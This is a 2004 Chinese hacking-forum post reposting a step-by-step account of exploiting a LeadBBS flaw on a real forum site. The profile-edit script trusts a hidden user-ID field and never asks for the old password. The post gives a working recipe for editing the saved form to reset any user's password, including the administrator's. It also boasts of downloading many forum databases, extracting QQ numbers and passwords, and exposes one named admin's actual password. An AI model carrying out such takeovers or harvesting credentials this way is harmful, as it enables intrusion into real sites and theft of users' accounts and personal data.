论坛: 黑客进阶 标题: HACKING浪客联盟BBS的. 复制本贴地址    
作者: bridex [bridex]    论坛用户   登录
原文
一个低级不容易发现的漏洞,让我们进入了浪客网络安全联盟BBS的后台.

这是一篇最开始发现LEADBBS漏洞的文章!
这个漏洞大家都知道了。
这里贴出来让大家再看看吧!

文章出至:中国网络脚本安全测试小组
文章作者:臭要饭的!
漏洞提交日期:2003-9-10 21:47:33


漏洞分析

序:
天气不错,非常凉爽,心情也特别的开心,在我们成功的对动网,bbsxp漏洞测试完后。我们又对leadbbs进行测试了.
首先下载了leadbbs的最新版本.解压到 本机.发现了这个bbs写得也不错,特别是对于sql注射方面他们对所提交的参数
一般都做了非常严格的过滤,如果不认真的去分析,可能也不好找出漏洞的.

不过并不是每一个论坛都会采用sql注射的办法,灵活的思维,清醒的头脑也是成功的最重要组成部分.

开工:

第一步:发现漏洞:

当我在认真的找sql注射漏洞的同时,卖身给我说了,他个bbs和浪客的有点相同.看来浪客也是采用的这个bbs了。
呵呵,欲望也不错啊,这个bbs的注射漏洞大体上没有什么.算是还安全吧.(不过我只查找了半个小时的源码,没有什么发现)

这时,卖身又说,他可能存在一个可以修改其他人密码的漏洞,一般的bbs,如果没有想周全都想不到这个洞,也就是脚本编写
人员不太注意了。他这一提醒。我马上打开源代码一看,真的是存在这个漏洞。
//*******************************************************************************
漏洞简述

当自己注册一个用户的时候,修改自己的密码,脚本没有判断旧密码,直接把新改的密码根据用户的id
保存到用户的资料中去的.并没有对这个用户进行判断。试想一下,如果我们修改提交的id值,会出现什么样的情况.
如果你的id为641,如果改成了500.那么你修改的资料就会把id号为500的这个用户的资料修改了.

漏洞代码:

function saveformdata

form_revmessageflag = request.form("form_revmessageflag")
if form_revmessageflag = "1" then
form_revmessageflag = 1
else
form_revmessageflag = 0
end if

form_userlimit = setbinarybit(form_userlimit,13,form_revmessageflag)

dim rs,temp
set rs = server.createobject("adodb.recordset")
rs.open "select top 1 * from leadbbs_user where id=" & form_id,con,1,3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这条看到没有,直接把for_id 提交到数据库中,进行查找再进行修改.


gbl_dbnum = gbl_dbnum + 1
if rs.eof then
rs.close
set rs = nothing
gbl_chk_tempstr = gbl_chk_tempstr & "发生意外错误<br>" & vbcrlf
saveformdata = 0
exit function
end if
=======================================以下是修改数据库中的值==============================
rs("mail") = form_mail
rs("address") = form_address
rs("sex") = form_sex
if form_icq = "" then
rs("icq") = null
else
rs("icq") = form_icq
end if
if form_oicq = "" then
rs("oicq") = null
else
rs("oicq") = form_oicq
end if
rs("userphoto") = form_userphoto
rs("homepage") = form_homepage
rs("underwrite") = form_underwrite
rs("printunderwrite") = form_printunderwrite
rs("pass") = form_password1
if len(form_birthday)=14 then
rs("birthday") = form_birthday
temp = ccur(left(form_birthday,4))
if temp > 1950 and temp < 2050 then rs("nonglibirth") = gettimevalue(converttonongli(restoretime(form_birthday)))
else
rs("birthday") = null
end if

if def_alldefineface = 1 then
rs("faceurl") = form_faceurl
rs("facewidth") = form_facewidth
rs("faceheight") = form_faceheight
end if

rs("showflag") = form_showflag
rs("notsecret") = form_notsecret
rs("lastwritetime") = gettimevalue(now)
rs("userlimit") = form_userlimit
if def_userenableusertitle = 1 and form_userlevel >= def_userusertitleneedlevel then rs("usertitle") = form_usertitle
================================================over====================================================
rs.update // 这就是提交修改.

rs.close
set rs = nothing
..............略去一部分无用代码.......
end function%>
//*******************************************************************************


攻击演示

第二步:测试漏洞
到浪客网站注册一个账号,再看看是不是和这个代码所表现的相同。登陆进去后,修改自己的资料,发现并没有要求我填写自己
的旧密码,哈哈。这时多半都成功了。现在我们在新注册用户列表中,查到自己的编号(也就是库中的id号)为:8317
好了,现在我们把他的页面另存为一个htm文件保存到自己的电脑中,看一下那个id号放在什么地方的。用记事本打开,html代码如下:

<form action=usermodify.asp method=post name=form1 onsubmit="submitonce(this);return validationpassed">
上面提交的地方 我们也改成:action=http://www.longker.com/bbs/user/usermodify.asp

..................略掉一部分代码.............
<tr>
<td align=middle height=25>
<p>*用户名称: </p></td>
<td height=25>
<p>ohyes </p></td></tr>
<tr>
<td align=middle height=25>
<p>*你的密码: </p></td>
<td height=25>
<input class=fminpt name=submitflag type=hidden value=29d98sasphouseasp8asphnet>
<input class=fminpt name=form_id type=hidden value=8317>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
看到没有上面就是保存了你的id值。不过他用了type=hidden所以在html中你看不到,是隐藏的我们改一下代码
<input class=fminpt name=form_id value=8317> //去掉隐藏.这样就可以在ie中显示出来了.你就可以随便输入
一个id值来改这个人的资料了.

<input class=fminpt maxlength=20 name=form_password1 size=14
type=password value=comm> </td></tr>
<tr>
<td align=middle height=25>
<p>*验证密码: </p></td>
<td height=25><input class=fminpt maxlength=20
name=form_password2 size=14 type=password value=comm>
</td></tr>
<tr>
..................略掉其他的,都是输入qq,email,地址之类的无用代码不看了..................

编辑好后,取个名字叫:ok.htm 呵呵~!・

好了,我们现在测试一下看对不对?并不要急于去修改管理员的资料,先再注册一个id再试试.
我又注册了一个id,得到id为:8318,密码为:inputyfd

打开我们的ok.htm输入id号:8318,密码改成:inputyfd1 试试看.
提交,ie显示成功,并把8318的资料显示了出来,看来都已经成功了。用8318这个id登陆再确定一下。
输入密码:inputyfd 提示密码错误,哈哈,再输入inputyfd1提示密码成功.看来我们就真正的修改了这个这个人的资料。

第三步:更改管理员的密码,进入后台管理.(以下部分,由于本人断线,所有工作由卖身完成!)

在管理员列表中,我发现了,欲望的id号为:980 ,admin的id值为1. 好。继续。一样打开ok.htm 把admin的id填上 。把密码改为testtest。
ok.提交成功,呵呵,现在用admin的账号登陆。进入管理。哈哈。。一切的一切都在眼前了。呵呵~!!
看看管理人员吧。结果发现欲望的密码为wocaonimother。晕吧!
你还想做什么呢?下载数据库,得到里面的敏感信息?呵呵,真的吗???

结束语:
近来对各大bbs官方论坛,以及对一些黑客站点的论坛进行了安全测试,都或多或少的发现了一些漏洞。并利用这些漏洞
成功的得到了管理账号.看来中国的网络安全真的有待于进一步的发展,有待于我们脚本开发人员水平的提高!


////////////////////////////////////////////////////
这个洞让我们下了很多个数据库.
然后写了程序得到数据库中的QQ号码!
和论坛的密码。

其中社会工程学中提到过有10%的人用一个密码做很多个账号的密码。
结果出来了。
只要写了QQ号码的账号。
100个QQ号。有12左右论坛密码就是他的QQ密码。
大多都是生日,电话号码,要不就是特别的字符!


地主 发表时间: 04-02-25 15:38

回复: bridex [bridex]   论坛用户   登录
以前 很多论坛都存在 文件显密码   

B1层 发表时间: 04-03-19 22:59

回复: wangsong [wangsong]   论坛用户   登录


B2层 发表时间: 04-03-21 16:18

回复: nebulae [nebulae]   论坛用户   登录


B3层 发表时间: 05-04-02 23:22

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号